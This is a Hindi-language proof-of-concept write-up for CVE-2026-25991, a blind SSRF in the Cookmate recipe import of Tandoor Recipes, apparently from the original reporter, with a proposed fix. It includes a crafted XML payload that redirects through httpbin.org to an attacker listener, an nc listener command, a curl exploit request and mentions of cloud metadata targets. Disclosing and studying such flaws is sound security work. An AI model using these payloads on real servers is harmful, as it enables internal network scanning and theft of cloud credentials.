
CVE-2026-25991 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Tandoor Recipes के Cookmate इम्पोर्ट में एक ब्लाइंड SSRF है, जो प्रमाणित उपयोगकर्ताओं को आंतरिक संसाधनों तक पहुंचने की अनुमति देता है।
रेसिपी इम्पोर्ट के माध्यम से SSRF के लिए प्रूफ-ऑफ-कॉन्सेप्ट
प्रकटीकरण: मूल रूप से मेरे द्वारा GHSA-j6xg-85mh-qqf7 के माध्यम से रिपोर्ट किया गया
⚠️ केवल अधिकृत पेंटेस्टिंग/अनुसंधान उपयोग के लिए।
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2026-25991 |
| गंभीरता | 🔴 उच्च |
| CVSS स्कोर | 7.7 |
| CVSS वेक्टर | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N] |
| CWE | CWE-918: सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) |
| प्रभावित उत्पाद | Tandoor Recipes ≤ 2.5.0 |
| पैच किया गया संस्करण | 2.5.1 |
| परामर्श | GHSA-j6xg-85mh-qqf7 |
मैंने Tandoor Recipes की Cookmate रेसिपी इम्पोर्ट सुविधा में एक ब्लाइंड सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) भेद्यता की खोज की। एप्लिकेशन HTTP रीडायरेक्ट का अनुसरण करने के बाद गंतव्य URL को मान्य करने में विफल रहता है, जिससे कोई भी प्रमाणित उपयोगकर्ता (प्रशासनिक विशेषाधिकारों के बिना मानक उपयोगकर्ताओं सहित) सर्वर को मनमाने आंतरिक या बाहरी संसाधनों से कनेक्ट करने के लिए मजबूर कर सकता है।
इस भेद्यता का उपयोग आंतरिक नेटवर्क पोर्ट को स्कैन करने, क्लाउड इंस्टेंस मेटाडेटा (जैसे, AWS/GCP मेटाडेटा सेवा) तक पहुंचने, या सर्वर के वास्तविक IP पते का खुलासा करने के लिए किया जा सकता है।
यह भेद्यता cookbook/integration/cookmate.py में, Cookmate इंटीग्रेशन क्लास के भीतर स्थित है।
imageurl फ़ील्ड निकालता है।validate_import_url (में cookbook/helper/HelperFunctions.py) का उपयोग करके मान्य किया जाता है, जो निजी IP रेंज (जैसे, 127.0.0.1, 10.0.0.0/8) को सही ढंग से ब्लॉक करता है।requests.get(url) का उपयोग करता है। डिफ़ॉल्ट रूप से, requests लाइब्रेरी रीडायरेक्ट का अनुसरण करती है (allow_redirects=True)।
validate_import_url फ़ंक्शन केवल प्रारंभिक URL की जांच करता है लेकिन रीडायरेक्ट होने के बाद अंतिम गंतव्य को मान्य करने में विफल रहता है।भेद्य कोड स्निपेट (cookbook/integration/cookmate.py:73):
if validate_import_url(url):
# CRITICAL: requests.get डिफ़ॉल्ट रूप से रीडायरेक्ट का अनुसरण करता है, प्रारंभिक जांच को बायपास करते हुए।
response = requests.get(url)
self.import_recipe_image(recipe, BytesIO(response.content))
एक हमलावर अनुरोध को प्रतिबंधित आंतरिक पते (जैसे, http://127.0.0.1:80/ या http://169.254.169.254/) पर रीडायरेक्ट करने के लिए बाहरी सेवा (जैसे httpbin.org) का उपयोग कर सकता है।
महत्वपूर्ण रूप से, AppImportView (cookbook/views/api.py) स्पष्ट रूप से CustomIsUser अनुमतियों की अनुमति देता है, जिसका अर्थ है कि कोई भी पंजीकृत उपयोगकर्ता इस भेद्यता को ट्रिगर कर सकता है। किसी विशेष प्रशासनिक अधिकार की आवश्यकता नहीं है।
पूर्वापेक्षाएँ:
nc)।पुनरुत्पादन के चरण:
एक लिसनर सेट करें (हमलावर मशीन):
एक टर्मिनल खोलें और आने वाले कनेक्शन सुनने के लिए nc शुरू करें। यह एक आंतरिक सेवा या हमलावर-नियंत्रित सर्वर का अनुकरण करता है।
nc -lvnp 9999
एक दुर्भावनापूर्ण XML पेलोड बनाएं:
payload.xml नामक एक फ़ाइल बनाएं। <YOUR_IP> को अपने सार्वजनिक IP पते (या पहुंच योग्य IP) से बदलें।
यह पेलोड प्रारंभिक निजी IP जांच को बायपास करने और आपके लिसनर पर रीडायरेक्ट करने के लिए httpbin.org का उपयोग करता है।
<recipes>
<recipe>
<title>SSRF_PoC</title>
<!-- आंतरिक सेवा या हमलावर के लिसनर पर रीडायरेक्ट करें -->
<imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
</recipe>
</recipes>

एक ZIP संग्रह बनाएं: Tandoor को XML को ZIP फ़ाइल के अंदर होना आवश्यक है।
zip payload.zip payload.xml
एक्सप्लॉइट निष्पादित करें (API के माध्यम से):
सत्र कुकी और CSRF टोकन प्राप्त करने के लिए मानक उपयोगकर्ता (व्यवस्थापक नहीं) के रूप में लॉग इन करें।
फिर /api/import/ पर एक POST अनुरोध भेजें:
(वास्तविक मानों के साथ <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> बदलें)
curl -X POST 'http://<TARGET_URL>/api/import/' \
-H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
-H 'X-CSRFToken: <CSRF_TOKEN>' \
-F 'type=COOKMATE' \
-F '[email protected]' \
-F 'duplicates=true'


nc) जांचें। आपको Tandoor सर्वर से एक आने वाला HTTP GET अनुरोध दिखाई देगा।
यह पुष्टि करता है कि सर्वर, एक मानक उपयोगकर्ता की ओर से कार्य करते हुए, एक मनमाने बाहरी/आंतरिक संसाधन से कनेक्ट हुआ है।
GET /secret.txt HTTP/1.1
Host: <YOUR_IP>:9999
User-Agent: python-requests/2.x.x
...

http://169.254.169.254/latest/meta-data/) तक पहुंच सकते हैं, जिससे पूर्ण बुनियादी ढांचे से समझौता हो सकता है।requests.get कॉल में स्वचालित रीडायरेक्ट अनुसरण अक्षम करें या रीडायरेक्ट URL के लिए सख्त मान्यता लागू करें।
डिफ (प्रस्तावित फिक्स):
# cookbook/integration/cookmate.py
# विकल्प 1: रीडायरेक्ट अक्षम करें (अनुशंसित)
response = requests.get(url, allow_redirects=False)
# विकल्प 2: रीडायरेक्ट मान्य करें
# (निजी IP रेंज के विरुद्ध प्रत्येक रीडायरेक्ट हॉप की जांच करने के लिए जटिल तर्क आवश्यक है)